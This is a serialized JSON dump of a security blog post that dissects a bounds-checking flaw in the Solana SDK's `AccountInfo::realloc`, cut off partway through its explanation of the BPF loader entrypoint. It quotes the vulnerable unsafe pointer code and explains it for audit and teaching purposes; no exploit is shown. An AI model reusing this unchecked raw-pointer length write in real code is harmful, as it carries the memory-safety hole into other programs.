[{"data":1,"prerenderedAt":167370},["ShallowReactive",2],{"blog-/blog/2022-12-09-rust-realloc-and-references":3,"featured-blog-posts":5276},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"author":10,"image":11,"date":15,"isFeatured":16,"onBlogPage":16,"tags":17,"body":20,"_type":5270,"_id":5271,"_source":5272,"_file":5273,"_stem":5274,"_extension":5275},"/blog/2022-12-09-rust-realloc-and-references","blog",false,"","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":12,"height":13,"width":14},"/posts/rust-realloc-and-references/title.jpg",512,1024,"2022-12-09",true,[18,19],"report","tutorial",{"type":21,"children":22,"toc":5254},"root",[23,55,79,828,849,861,873,1008,1018,1025,1051,1399,1445,1778,1841,1854,1929,1998,2019,2032,2046,2400,2411,2416,2547,2598,2624,2636,2809,2947,2988,3026,3094,3099,3139,3194,3206,3350,3362,3368,3374,3407,3421,3543,3562,3590,3596,3686,3777,3783,3788,3835,4105,4180,4191,4218,4550,4562,4635,4909,4946,5248],{"type":24,"tag":25,"props":26,"children":27},"element","p",{},[28,31,38,40,45,47,53],{"type":29,"value":30},"text","It all started with an audit of a program that used ",{"type":24,"tag":32,"props":33,"children":35},"code",{"className":34},[],[36],{"type":29,"value":37},"realloc",{"type":29,"value":39}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":24,"tag":32,"props":41,"children":43},{"className":42},[],[44],{"type":29,"value":37},{"type":29,"value":46}," call (from ",{"type":24,"tag":32,"props":48,"children":50},{"className":49},[],[51],{"type":29,"value":52},"solana_program",{"type":29,"value":54},") would error out appropriately.",{"type":24,"tag":25,"props":56,"children":57},{},[58,60,66,68,77],{"type":29,"value":59},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":24,"tag":32,"props":61,"children":63},{"className":62},[],[64],{"type":29,"value":65},"AccountInfo::realloc",{"type":29,"value":67}," is ",{"type":24,"tag":69,"props":70,"children":74},"a",{"href":71,"rel":72},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[73],"nofollow",[75],{"type":29,"value":76},"implemented",{"type":29,"value":78},":",{"type":24,"tag":80,"props":81,"children":85},"pre",{"className":82,"code":83,"language":84,"meta":7,"style":7},"language-rust shiki shiki-themes slack-dark","pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n let orig_len = self.data_len();\n\n // realloc\n unsafe {\n // First set new length in the serialized data\n let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n *ptr = new_len as u64;\n\n // Then set the new length in the local slice\n let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n *ptr = new_len as u64;\n }\n\n // zero-init if requested\n if zero_init && new_len > orig_len {\n sol_memset(\n &mut self.try_borrow_mut_data()?[orig_len..],\n 0,\n new_len.saturating_sub(orig_len),\n );\n }\n\n Ok(())\n}\n","rust",[86],{"type":24,"tag":32,"props":87,"children":88},{"__ignoreMap":7},[89,198,237,246,256,270,279,382,418,426,435,572,604,613,621,630,667,681,735,749,780,789,797,805,819],{"type":24,"tag":90,"props":91,"children":94},"span",{"class":92,"line":93},"line",1,[95,101,106,112,118,124,129,134,140,144,150,154,159,163,168,173,178,183,188,193],{"type":24,"tag":90,"props":96,"children":98},{"style":97},"--shiki-default:#569CD6",[99],{"type":29,"value":100},"pub",{"type":24,"tag":90,"props":102,"children":103},{"style":97},[104],{"type":29,"value":105}," fn",{"type":24,"tag":90,"props":107,"children":109},{"style":108},"--shiki-default:#DCDCAA",[110],{"type":29,"value":111}," realloc",{"type":24,"tag":90,"props":113,"children":115},{"style":114},"--shiki-default:#E6E6E6",[116],{"type":29,"value":117},"(",{"type":24,"tag":90,"props":119,"children":121},{"style":120},"--shiki-default:#D4D4D4",[122],{"type":29,"value":123},"&",{"type":24,"tag":90,"props":125,"children":126},{"style":97},[127],{"type":29,"value":128},"self",{"type":24,"tag":90,"props":130,"children":131},{"style":114},[132],{"type":29,"value":133},", ",{"type":24,"tag":90,"props":135,"children":137},{"style":136},"--shiki-default:#9CDCFE",[138],{"type":29,"value":139},"new_len",{"type":24,"tag":90,"props":141,"children":142},{"style":120},[143],{"type":29,"value":78},{"type":24,"tag":90,"props":145,"children":147},{"style":146},"--shiki-default:#4EC9B0",[148],{"type":29,"value":149}," usize",{"type":24,"tag":90,"props":151,"children":152},{"style":114},[153],{"type":29,"value":133},{"type":24,"tag":90,"props":155,"children":156},{"style":136},[157],{"type":29,"value":158},"zero_init",{"type":24,"tag":90,"props":160,"children":161},{"style":120},[162],{"type":29,"value":78},{"type":24,"tag":90,"props":164,"children":165},{"style":146},[166],{"type":29,"value":167}," bool",{"type":24,"tag":90,"props":169,"children":170},{"style":114},[171],{"type":29,"value":172},") ",{"type":24,"tag":90,"props":174,"children":175},{"style":120},[176],{"type":29,"value":177},"->",{"type":24,"tag":90,"props":179,"children":180},{"style":146},[181],{"type":29,"value":182}," Result",{"type":24,"tag":90,"props":184,"children":185},{"style":114},[186],{"type":29,"value":187},"\u003C(), ",{"type":24,"tag":90,"props":189,"children":190},{"style":146},[191],{"type":29,"value":192},"ProgramError",{"type":24,"tag":90,"props":194,"children":195},{"style":114},[196],{"type":29,"value":197},"> {\n",{"type":24,"tag":90,"props":199,"children":201},{"class":92,"line":200},2,[202,207,212,217,222,227,232],{"type":24,"tag":90,"props":203,"children":204},{"style":97},[205],{"type":29,"value":206}," let",{"type":24,"tag":90,"props":208,"children":209},{"style":136},[210],{"type":29,"value":211}," orig_len",{"type":24,"tag":90,"props":213,"children":214},{"style":120},[215],{"type":29,"value":216}," =",{"type":24,"tag":90,"props":218,"children":219},{"style":97},[220],{"type":29,"value":221}," self",{"type":24,"tag":90,"props":223,"children":224},{"style":120},[225],{"type":29,"value":226},".",{"type":24,"tag":90,"props":228,"children":229},{"style":108},[230],{"type":29,"value":231},"data_len",{"type":24,"tag":90,"props":233,"children":234},{"style":114},[235],{"type":29,"value":236},"();\n",{"type":24,"tag":90,"props":238,"children":240},{"class":92,"line":239},3,[241],{"type":24,"tag":90,"props":242,"children":243},{"emptyLinePlaceholder":16},[244],{"type":29,"value":245},"\n",{"type":24,"tag":90,"props":247,"children":249},{"class":92,"line":248},4,[250],{"type":24,"tag":90,"props":251,"children":253},{"style":252},"--shiki-default:#6A9955",[254],{"type":29,"value":255}," // realloc\n",{"type":24,"tag":90,"props":257,"children":259},{"class":92,"line":258},5,[260,265],{"type":24,"tag":90,"props":261,"children":262},{"style":97},[263],{"type":29,"value":264}," unsafe",{"type":24,"tag":90,"props":266,"children":267},{"style":114},[268],{"type":29,"value":269}," {\n",{"type":24,"tag":90,"props":271,"children":273},{"class":92,"line":272},6,[274],{"type":24,"tag":90,"props":275,"children":276},{"style":252},[277],{"type":29,"value":278}," // First set new length in the serialized data\n",{"type":24,"tag":90,"props":280,"children":282},{"class":92,"line":281},7,[283,288,293,297,301,305,310,315,320,325,329,333,338,342,347,353,357,362,367,372,377],{"type":24,"tag":90,"props":284,"children":285},{"style":97},[286],{"type":29,"value":287}," let",{"type":24,"tag":90,"props":289,"children":290},{"style":136},[291],{"type":29,"value":292}," ptr",{"type":24,"tag":90,"props":294,"children":295},{"style":120},[296],{"type":29,"value":216},{"type":24,"tag":90,"props":298,"children":299},{"style":97},[300],{"type":29,"value":221},{"type":24,"tag":90,"props":302,"children":303},{"style":120},[304],{"type":29,"value":226},{"type":24,"tag":90,"props":306,"children":307},{"style":108},[308],{"type":29,"value":309},"try_borrow_mut_data",{"type":24,"tag":90,"props":311,"children":312},{"style":114},[313],{"type":29,"value":314},"()",{"type":24,"tag":90,"props":316,"children":317},{"style":120},[318],{"type":29,"value":319},"?.",{"type":24,"tag":90,"props":321,"children":322},{"style":108},[323],{"type":29,"value":324},"as_mut_ptr",{"type":24,"tag":90,"props":326,"children":327},{"style":114},[328],{"type":29,"value":314},{"type":24,"tag":90,"props":330,"children":331},{"style":120},[332],{"type":29,"value":226},{"type":24,"tag":90,"props":334,"children":335},{"style":108},[336],{"type":29,"value":337},"offset",{"type":24,"tag":90,"props":339,"children":340},{"style":114},[341],{"type":29,"value":117},{"type":24,"tag":90,"props":343,"children":344},{"style":120},[345],{"type":29,"value":346},"-",{"type":24,"tag":90,"props":348,"children":350},{"style":349},"--shiki-default:#B5CEA8",[351],{"type":29,"value":352},"8",{"type":24,"tag":90,"props":354,"children":355},{"style":114},[356],{"type":29,"value":172},{"type":24,"tag":90,"props":358,"children":359},{"style":97},[360],{"type":29,"value":361},"as",{"type":24,"tag":90,"props":363,"children":364},{"style":120},[365],{"type":29,"value":366}," *",{"type":24,"tag":90,"props":368,"children":369},{"style":97},[370],{"type":29,"value":371},"mut",{"type":24,"tag":90,"props":373,"children":374},{"style":146},[375],{"type":29,"value":376}," u64",{"type":24,"tag":90,"props":378,"children":379},{"style":114},[380],{"type":29,"value":381},";\n",{"type":24,"tag":90,"props":383,"children":385},{"class":92,"line":384},8,[386,391,396,400,405,410,414],{"type":24,"tag":90,"props":387,"children":388},{"style":120},[389],{"type":29,"value":390}," *",{"type":24,"tag":90,"props":392,"children":393},{"style":136},[394],{"type":29,"value":395},"ptr",{"type":24,"tag":90,"props":397,"children":398},{"style":120},[399],{"type":29,"value":216},{"type":24,"tag":90,"props":401,"children":402},{"style":136},[403],{"type":29,"value":404}," new_len",{"type":24,"tag":90,"props":406,"children":407},{"style":97},[408],{"type":29,"value":409}," as",{"type":24,"tag":90,"props":411,"children":412},{"style":146},[413],{"type":29,"value":376},{"type":24,"tag":90,"props":415,"children":416},{"style":114},[417],{"type":29,"value":381},{"type":24,"tag":90,"props":419,"children":421},{"class":92,"line":420},9,[422],{"type":24,"tag":90,"props":423,"children":424},{"emptyLinePlaceholder":16},[425],{"type":29,"value":245},{"type":24,"tag":90,"props":427,"children":429},{"class":92,"line":428},10,[430],{"type":24,"tag":90,"props":431,"children":432},{"style":252},[433],{"type":29,"value":434}," // Then set the new length in the local slice\n",{"type":24,"tag":90,"props":436,"children":438},{"class":92,"line":437},11,[439,443,447,451,456,460,464,469,473,477,482,486,491,496,500,504,509,513,518,522,526,530,535,539,543,547,551,555,559,563,567],{"type":24,"tag":90,"props":440,"children":441},{"style":97},[442],{"type":29,"value":287},{"type":24,"tag":90,"props":444,"children":445},{"style":136},[446],{"type":29,"value":292},{"type":24,"tag":90,"props":448,"children":449},{"style":120},[450],{"type":29,"value":216},{"type":24,"tag":90,"props":452,"children":453},{"style":120},[454],{"type":29,"value":455}," &",{"type":24,"tag":90,"props":457,"children":458},{"style":97},[459],{"type":29,"value":371},{"type":24,"tag":90,"props":461,"children":462},{"style":120},[463],{"type":29,"value":366},{"type":24,"tag":90,"props":465,"children":466},{"style":114},[467],{"type":29,"value":468},"(((",{"type":24,"tag":90,"props":470,"children":471},{"style":97},[472],{"type":29,"value":128},{"type":24,"tag":90,"props":474,"children":475},{"style":120},[476],{"type":29,"value":226},{"type":24,"tag":90,"props":478,"children":479},{"style":114},[480],{"type":29,"value":481},"data",{"type":24,"tag":90,"props":483,"children":484},{"style":120},[485],{"type":29,"value":226},{"type":24,"tag":90,"props":487,"children":488},{"style":108},[489],{"type":29,"value":490},"as_ptr",{"type":24,"tag":90,"props":492,"children":493},{"style":114},[494],{"type":29,"value":495},"() ",{"type":24,"tag":90,"props":497,"children":498},{"style":97},[499],{"type":29,"value":361},{"type":24,"tag":90,"props":501,"children":502},{"style":120},[503],{"type":29,"value":366},{"type":24,"tag":90,"props":505,"children":506},{"style":97},[507],{"type":29,"value":508},"const",{"type":24,"tag":90,"props":510,"children":511},{"style":146},[512],{"type":29,"value":376},{"type":24,"tag":90,"props":514,"children":515},{"style":114},[516],{"type":29,"value":517},")",{"type":24,"tag":90,"props":519,"children":520},{"style":120},[521],{"type":29,"value":226},{"type":24,"tag":90,"props":523,"children":524},{"style":108},[525],{"type":29,"value":337},{"type":24,"tag":90,"props":527,"children":528},{"style":114},[529],{"type":29,"value":117},{"type":24,"tag":90,"props":531,"children":532},{"style":349},[533],{"type":29,"value":534},"1",{"type":24,"tag":90,"props":536,"children":537},{"style":114},[538],{"type":29,"value":172},{"type":24,"tag":90,"props":540,"children":541},{"style":97},[542],{"type":29,"value":361},{"type":24,"tag":90,"props":544,"children":545},{"style":146},[546],{"type":29,"value":376},{"type":24,"tag":90,"props":548,"children":549},{"style":114},[550],{"type":29,"value":172},{"type":24,"tag":90,"props":552,"children":553},{"style":97},[554],{"type":29,"value":361},{"type":24,"tag":90,"props":556,"children":557},{"style":120},[558],{"type":29,"value":366},{"type":24,"tag":90,"props":560,"children":561},{"style":97},[562],{"type":29,"value":371},{"type":24,"tag":90,"props":564,"children":565},{"style":146},[566],{"type":29,"value":376},{"type":24,"tag":90,"props":568,"children":569},{"style":114},[570],{"type":29,"value":571},");\n",{"type":24,"tag":90,"props":573,"children":575},{"class":92,"line":574},12,[576,580,584,588,592,596,600],{"type":24,"tag":90,"props":577,"children":578},{"style":120},[579],{"type":29,"value":390},{"type":24,"tag":90,"props":581,"children":582},{"style":136},[583],{"type":29,"value":395},{"type":24,"tag":90,"props":585,"children":586},{"style":120},[587],{"type":29,"value":216},{"type":24,"tag":90,"props":589,"children":590},{"style":136},[591],{"type":29,"value":404},{"type":24,"tag":90,"props":593,"children":594},{"style":97},[595],{"type":29,"value":409},{"type":24,"tag":90,"props":597,"children":598},{"style":146},[599],{"type":29,"value":376},{"type":24,"tag":90,"props":601,"children":602},{"style":114},[603],{"type":29,"value":381},{"type":24,"tag":90,"props":605,"children":607},{"class":92,"line":606},13,[608],{"type":24,"tag":90,"props":609,"children":610},{"style":114},[611],{"type":29,"value":612}," }\n",{"type":24,"tag":90,"props":614,"children":616},{"class":92,"line":615},14,[617],{"type":24,"tag":90,"props":618,"children":619},{"emptyLinePlaceholder":16},[620],{"type":29,"value":245},{"type":24,"tag":90,"props":622,"children":624},{"class":92,"line":623},15,[625],{"type":24,"tag":90,"props":626,"children":627},{"style":252},[628],{"type":29,"value":629}," // zero-init if requested\n",{"type":24,"tag":90,"props":631,"children":633},{"class":92,"line":632},16,[634,640,645,650,654,659,663],{"type":24,"tag":90,"props":635,"children":637},{"style":636},"--shiki-default:#C586C0",[638],{"type":29,"value":639}," if",{"type":24,"tag":90,"props":641,"children":642},{"style":136},[643],{"type":29,"value":644}," zero_init",{"type":24,"tag":90,"props":646,"children":647},{"style":120},[648],{"type":29,"value":649}," &&",{"type":24,"tag":90,"props":651,"children":652},{"style":136},[653],{"type":29,"value":404},{"type":24,"tag":90,"props":655,"children":656},{"style":120},[657],{"type":29,"value":658}," >",{"type":24,"tag":90,"props":660,"children":661},{"style":136},[662],{"type":29,"value":211},{"type":24,"tag":90,"props":664,"children":665},{"style":114},[666],{"type":29,"value":269},{"type":24,"tag":90,"props":668,"children":670},{"class":92,"line":669},17,[671,676],{"type":24,"tag":90,"props":672,"children":673},{"style":108},[674],{"type":29,"value":675}," sol_memset",{"type":24,"tag":90,"props":677,"children":678},{"style":114},[679],{"type":29,"value":680},"(\n",{"type":24,"tag":90,"props":682,"children":684},{"class":92,"line":683},18,[685,690,694,698,702,706,710,715,720,725,730],{"type":24,"tag":90,"props":686,"children":687},{"style":120},[688],{"type":29,"value":689}," &",{"type":24,"tag":90,"props":691,"children":692},{"style":97},[693],{"type":29,"value":371},{"type":24,"tag":90,"props":695,"children":696},{"style":97},[697],{"type":29,"value":221},{"type":24,"tag":90,"props":699,"children":700},{"style":120},[701],{"type":29,"value":226},{"type":24,"tag":90,"props":703,"children":704},{"style":108},[705],{"type":29,"value":309},{"type":24,"tag":90,"props":707,"children":708},{"style":114},[709],{"type":29,"value":314},{"type":24,"tag":90,"props":711,"children":712},{"style":120},[713],{"type":29,"value":714},"?",{"type":24,"tag":90,"props":716,"children":717},{"style":114},[718],{"type":29,"value":719},"[",{"type":24,"tag":90,"props":721,"children":722},{"style":136},[723],{"type":29,"value":724},"orig_len",{"type":24,"tag":90,"props":726,"children":727},{"style":120},[728],{"type":29,"value":729},"..",{"type":24,"tag":90,"props":731,"children":732},{"style":114},[733],{"type":29,"value":734},"],\n",{"type":24,"tag":90,"props":736,"children":738},{"class":92,"line":737},19,[739,744],{"type":24,"tag":90,"props":740,"children":741},{"style":349},[742],{"type":29,"value":743}," 0",{"type":24,"tag":90,"props":745,"children":746},{"style":114},[747],{"type":29,"value":748},",\n",{"type":24,"tag":90,"props":750,"children":752},{"class":92,"line":751},20,[753,758,762,767,771,775],{"type":24,"tag":90,"props":754,"children":755},{"style":136},[756],{"type":29,"value":757}," new_len",{"type":24,"tag":90,"props":759,"children":760},{"style":120},[761],{"type":29,"value":226},{"type":24,"tag":90,"props":763,"children":764},{"style":108},[765],{"type":29,"value":766},"saturating_sub",{"type":24,"tag":90,"props":768,"children":769},{"style":114},[770],{"type":29,"value":117},{"type":24,"tag":90,"props":772,"children":773},{"style":136},[774],{"type":29,"value":724},{"type":24,"tag":90,"props":776,"children":777},{"style":114},[778],{"type":29,"value":779},"),\n",{"type":24,"tag":90,"props":781,"children":783},{"class":92,"line":782},21,[784],{"type":24,"tag":90,"props":785,"children":786},{"style":114},[787],{"type":29,"value":788}," );\n",{"type":24,"tag":90,"props":790,"children":792},{"class":92,"line":791},22,[793],{"type":24,"tag":90,"props":794,"children":795},{"style":114},[796],{"type":29,"value":612},{"type":24,"tag":90,"props":798,"children":800},{"class":92,"line":799},23,[801],{"type":24,"tag":90,"props":802,"children":803},{"emptyLinePlaceholder":16},[804],{"type":29,"value":245},{"type":24,"tag":90,"props":806,"children":808},{"class":92,"line":807},24,[809,814],{"type":24,"tag":90,"props":810,"children":811},{"style":146},[812],{"type":29,"value":813}," Ok",{"type":24,"tag":90,"props":815,"children":816},{"style":114},[817],{"type":29,"value":818},"(())\n",{"type":24,"tag":90,"props":820,"children":822},{"class":92,"line":821},25,[823],{"type":24,"tag":90,"props":824,"children":825},{"style":114},[826],{"type":29,"value":827},"}\n",{"type":24,"tag":25,"props":829,"children":830},{},[831,833,839,841,847],{"type":29,"value":832},"Oh. There's ",{"type":24,"tag":32,"props":834,"children":836},{"className":835},[],[837],{"type":29,"value":838},"unsafe",{"type":29,"value":840},". And no bounds check in sight. ",{"type":24,"tag":842,"props":843,"children":844},"em",{},[845],{"type":29,"value":846},"And",{"type":29,"value":848}," pointer math. That doesn't look promising...",{"type":24,"tag":850,"props":851,"children":853},"h2",{"id":852},"breaking-down-realloc",[854,856],{"type":29,"value":855},"Breaking down ",{"type":24,"tag":32,"props":857,"children":859},{"className":858},[],[860],{"type":29,"value":37},{"type":24,"tag":25,"props":862,"children":863},{},[864,866,871],{"type":29,"value":865},"Let's pick apart this ",{"type":24,"tag":32,"props":867,"children":869},{"className":868},[],[870],{"type":29,"value":838},{"type":29,"value":872}," block, since there's a lot going on here.",{"type":24,"tag":80,"props":874,"children":876},{"className":82,"code":875,"language":84,"meta":7,"style":7},"// First set new length in the serialized data\nlet ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n*ptr = new_len as u64;\n",[877],{"type":24,"tag":32,"props":878,"children":879},{"__ignoreMap":7},[880,888,976],{"type":24,"tag":90,"props":881,"children":882},{"class":92,"line":93},[883],{"type":24,"tag":90,"props":884,"children":885},{"style":252},[886],{"type":29,"value":887},"// First set new length in the serialized data\n",{"type":24,"tag":90,"props":889,"children":890},{"class":92,"line":200},[891,896,900,904,908,912,916,920,924,928,932,936,940,944,948,952,956,960,964,968,972],{"type":24,"tag":90,"props":892,"children":893},{"style":97},[894],{"type":29,"value":895},"let",{"type":24,"tag":90,"props":897,"children":898},{"style":136},[899],{"type":29,"value":292},{"type":24,"tag":90,"props":901,"children":902},{"style":120},[903],{"type":29,"value":216},{"type":24,"tag":90,"props":905,"children":906},{"style":97},[907],{"type":29,"value":221},{"type":24,"tag":90,"props":909,"children":910},{"style":120},[911],{"type":29,"value":226},{"type":24,"tag":90,"props":913,"children":914},{"style":108},[915],{"type":29,"value":309},{"type":24,"tag":90,"props":917,"children":918},{"style":114},[919],{"type":29,"value":314},{"type":24,"tag":90,"props":921,"children":922},{"style":120},[923],{"type":29,"value":319},{"type":24,"tag":90,"props":925,"children":926},{"style":108},[927],{"type":29,"value":324},{"type":24,"tag":90,"props":929,"children":930},{"style":114},[931],{"type":29,"value":314},{"type":24,"tag":90,"props":933,"children":934},{"style":120},[935],{"type":29,"value":226},{"type":24,"tag":90,"props":937,"children":938},{"style":108},[939],{"type":29,"value":337},{"type":24,"tag":90,"props":941,"children":942},{"style":114},[943],{"type":29,"value":117},{"type":24,"tag":90,"props":945,"children":946},{"style":120},[947],{"type":29,"value":346},{"type":24,"tag":90,"props":949,"children":950},{"style":349},[951],{"type":29,"value":352},{"type":24,"tag":90,"props":953,"children":954},{"style":114},[955],{"type":29,"value":172},{"type":24,"tag":90,"props":957,"children":958},{"style":97},[959],{"type":29,"value":361},{"type":24,"tag":90,"props":961,"children":962},{"style":120},[963],{"type":29,"value":366},{"type":24,"tag":90,"props":965,"children":966},{"style":97},[967],{"type":29,"value":371},{"type":24,"tag":90,"props":969,"children":970},{"style":146},[971],{"type":29,"value":376},{"type":24,"tag":90,"props":973,"children":974},{"style":114},[975],{"type":29,"value":381},{"type":24,"tag":90,"props":977,"children":978},{"class":92,"line":239},[979,984,988,992,996,1000,1004],{"type":24,"tag":90,"props":980,"children":981},{"style":120},[982],{"type":29,"value":983},"*",{"type":24,"tag":90,"props":985,"children":986},{"style":136},[987],{"type":29,"value":395},{"type":24,"tag":90,"props":989,"children":990},{"style":120},[991],{"type":29,"value":216},{"type":24,"tag":90,"props":993,"children":994},{"style":136},[995],{"type":29,"value":404},{"type":24,"tag":90,"props":997,"children":998},{"style":97},[999],{"type":29,"value":409},{"type":24,"tag":90,"props":1001,"children":1002},{"style":146},[1003],{"type":29,"value":376},{"type":24,"tag":90,"props":1005,"children":1006},{"style":114},[1007],{"type":29,"value":381},{"type":24,"tag":25,"props":1009,"children":1010},{},[1011,1016],{"type":24,"tag":32,"props":1012,"children":1014},{"className":1013},[],[1015],{"type":29,"value":309},{"type":29,"value":1017}," returns a mutable reference to the underlying buffer holding the data of the account. Normally in the course of contract execution, this comes from the serialized buffer passed into the contract by the BPF loader. So before we can understand the details here, let's take a quick detour...",{"type":24,"tag":1019,"props":1020,"children":1022},"h3",{"id":1021},"bpf-loader-abi",[1023],{"type":29,"value":1024},"BPF Loader ABI",{"type":24,"tag":25,"props":1026,"children":1027},{},[1028,1030,1035,1037,1050],{"type":29,"value":1029},"Solana smart contracts have one job: interact with on-chain accounts. So what's the interface between the contract and the rest of the chain? To answer that, we're going to take a look at ",{"type":24,"tag":32,"props":1031,"children":1033},{"className":1032},[],[1034],{"type":29,"value":52},{"type":29,"value":1036},"'s entrypoint code - the code that's added when you use the ",{"type":24,"tag":69,"props":1038,"children":1041},{"href":1039,"rel":1040},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#116-131",[73],[1042,1048],{"type":24,"tag":32,"props":1043,"children":1045},{"className":1044},[],[1046],{"type":29,"value":1047},"entrypoint!",{"type":29,"value":1049}," macro",{"type":29,"value":78},{"type":24,"tag":80,"props":1052,"children":1054},{"className":82,"code":1053,"language":84,"meta":7,"style":7},"#[no_mangle]\npub unsafe extern \"C\" fn entrypoint(input: *mut u8) -> u64 {\n let (program_id, accounts, instruction_data) =\n unsafe { $crate::entrypoint::deserialize(input) };\n match $process_instruction(&program_id, &accounts, &instruction_data) {\n Ok(()) => $crate::entrypoint::SUCCESS,\n Err(error) => error.into(),\n }\n}\n",[1055],{"type":24,"tag":32,"props":1056,"children":1057},{"__ignoreMap":7},[1058,1066,1140,1184,1239,1298,1341,1385,1392],{"type":24,"tag":90,"props":1059,"children":1060},{"class":92,"line":93},[1061],{"type":24,"tag":90,"props":1062,"children":1063},{"style":114},[1064],{"type":29,"value":1065},"#[no_mangle]\n",{"type":24,"tag":90,"props":1067,"children":1068},{"class":92,"line":200},[1069,1073,1078,1083,1089,1093,1098,1102,1107,1111,1115,1119,1124,1128,1132,1136],{"type":24,"tag":90,"props":1070,"children":1071},{"style":97},[1072],{"type":29,"value":100},{"type":24,"tag":90,"props":1074,"children":1075},{"style":97},[1076],{"type":29,"value":1077}," unsafe",{"type":24,"tag":90,"props":1079,"children":1080},{"style":97},[1081],{"type":29,"value":1082}," extern",{"type":24,"tag":90,"props":1084,"children":1086},{"style":1085},"--shiki-default:#CE9178",[1087],{"type":29,"value":1088}," \"C\"",{"type":24,"tag":90,"props":1090,"children":1091},{"style":97},[1092],{"type":29,"value":105},{"type":24,"tag":90,"props":1094,"children":1095},{"style":108},[1096],{"type":29,"value":1097}," entrypoint",{"type":24,"tag":90,"props":1099,"children":1100},{"style":114},[1101],{"type":29,"value":117},{"type":24,"tag":90,"props":1103,"children":1104},{"style":136},[1105],{"type":29,"value":1106},"input",{"type":24,"tag":90,"props":1108,"children":1109},{"style":120},[1110],{"type":29,"value":78},{"type":24,"tag":90,"props":1112,"children":1113},{"style":120},[1114],{"type":29,"value":366},{"type":24,"tag":90,"props":1116,"children":1117},{"style":97},[1118],{"type":29,"value":371},{"type":24,"tag":90,"props":1120,"children":1121},{"style":146},[1122],{"type":29,"value":1123}," u8",{"type":24,"tag":90,"props":1125,"children":1126},{"style":114},[1127],{"type":29,"value":172},{"type":24,"tag":90,"props":1129,"children":1130},{"style":120},[1131],{"type":29,"value":177},{"type":24,"tag":90,"props":1133,"children":1134},{"style":146},[1135],{"type":29,"value":376},{"type":24,"tag":90,"props":1137,"children":1138},{"style":114},[1139],{"type":29,"value":269},{"type":24,"tag":90,"props":1141,"children":1142},{"class":92,"line":239},[1143,1147,1152,1157,1161,1166,1170,1175,1179],{"type":24,"tag":90,"props":1144,"children":1145},{"style":97},[1146],{"type":29,"value":206},{"type":24,"tag":90,"props":1148,"children":1149},{"style":114},[1150],{"type":29,"value":1151}," (",{"type":24,"tag":90,"props":1153,"children":1154},{"style":136},[1155],{"type":29,"value":1156},"program_id",{"type":24,"tag":90,"props":1158,"children":1159},{"style":114},[1160],{"type":29,"value":133},{"type":24,"tag":90,"props":1162,"children":1163},{"style":136},[1164],{"type":29,"value":1165},"accounts",{"type":24,"tag":90,"props":1167,"children":1168},{"style":114},[1169],{"type":29,"value":133},{"type":24,"tag":90,"props":1171,"children":1172},{"style":136},[1173],{"type":29,"value":1174},"instruction_data",{"type":24,"tag":90,"props":1176,"children":1177},{"style":114},[1178],{"type":29,"value":172},{"type":24,"tag":90,"props":1180,"children":1181},{"style":120},[1182],{"type":29,"value":1183},"=\n",{"type":24,"tag":90,"props":1185,"children":1186},{"class":92,"line":248},[1187,1192,1197,1202,1207,1212,1217,1221,1226,1230,1234],{"type":24,"tag":90,"props":1188,"children":1189},{"style":97},[1190],{"type":29,"value":1191}," unsafe",{"type":24,"tag":90,"props":1193,"children":1194},{"style":114},[1195],{"type":29,"value":1196}," { ",{"type":24,"tag":90,"props":1198,"children":1199},{"style":120},[1200],{"type":29,"value":1201},"$",{"type":24,"tag":90,"props":1203,"children":1204},{"style":97},[1205],{"type":29,"value":1206},"crate",{"type":24,"tag":90,"props":1208,"children":1209},{"style":120},[1210],{"type":29,"value":1211},"::",{"type":24,"tag":90,"props":1213,"children":1214},{"style":114},[1215],{"type":29,"value":1216},"entrypoint",{"type":24,"tag":90,"props":1218,"children":1219},{"style":120},[1220],{"type":29,"value":1211},{"type":24,"tag":90,"props":1222,"children":1223},{"style":108},[1224],{"type":29,"value":1225},"deserialize",{"type":24,"tag":90,"props":1227,"children":1228},{"style":114},[1229],{"type":29,"value":117},{"type":24,"tag":90,"props":1231,"children":1232},{"style":136},[1233],{"type":29,"value":1106},{"type":24,"tag":90,"props":1235,"children":1236},{"style":114},[1237],{"type":29,"value":1238},") };\n",{"type":24,"tag":90,"props":1240,"children":1241},{"class":92,"line":258},[1242,1247,1252,1257,1261,1265,1269,1273,1277,1281,1285,1289,1293],{"type":24,"tag":90,"props":1243,"children":1244},{"style":636},[1245],{"type":29,"value":1246}," match",{"type":24,"tag":90,"props":1248,"children":1249},{"style":120},[1250],{"type":29,"value":1251}," $",{"type":24,"tag":90,"props":1253,"children":1254},{"style":136},[1255],{"type":29,"value":1256},"process_instruction",{"type":24,"tag":90,"props":1258,"children":1259},{"style":114},[1260],{"type":29,"value":117},{"type":24,"tag":90,"props":1262,"children":1263},{"style":120},[1264],{"type":29,"value":123},{"type":24,"tag":90,"props":1266,"children":1267},{"style":136},[1268],{"type":29,"value":1156},{"type":24,"tag":90,"props":1270,"children":1271},{"style":114},[1272],{"type":29,"value":133},{"type":24,"tag":90,"props":1274,"children":1275},{"style":120},[1276],{"type":29,"value":123},{"type":24,"tag":90,"props":1278,"children":1279},{"style":136},[1280],{"type":29,"value":1165},{"type":24,"tag":90,"props":1282,"children":1283},{"style":114},[1284],{"type":29,"value":133},{"type":24,"tag":90,"props":1286,"children":1287},{"style":120},[1288],{"type":29,"value":123},{"type":24,"tag":90,"props":1290,"children":1291},{"style":136},[1292],{"type":29,"value":1174},{"type":24,"tag":90,"props":1294,"children":1295},{"style":114},[1296],{"type":29,"value":1297},") {\n",{"type":24,"tag":90,"props":1299,"children":1300},{"class":92,"line":272},[1301,1306,1311,1316,1320,1324,1328,1332,1336],{"type":24,"tag":90,"props":1302,"children":1303},{"style":146},[1304],{"type":29,"value":1305}," Ok",{"type":24,"tag":90,"props":1307,"children":1308},{"style":114},[1309],{"type":29,"value":1310},"(()) 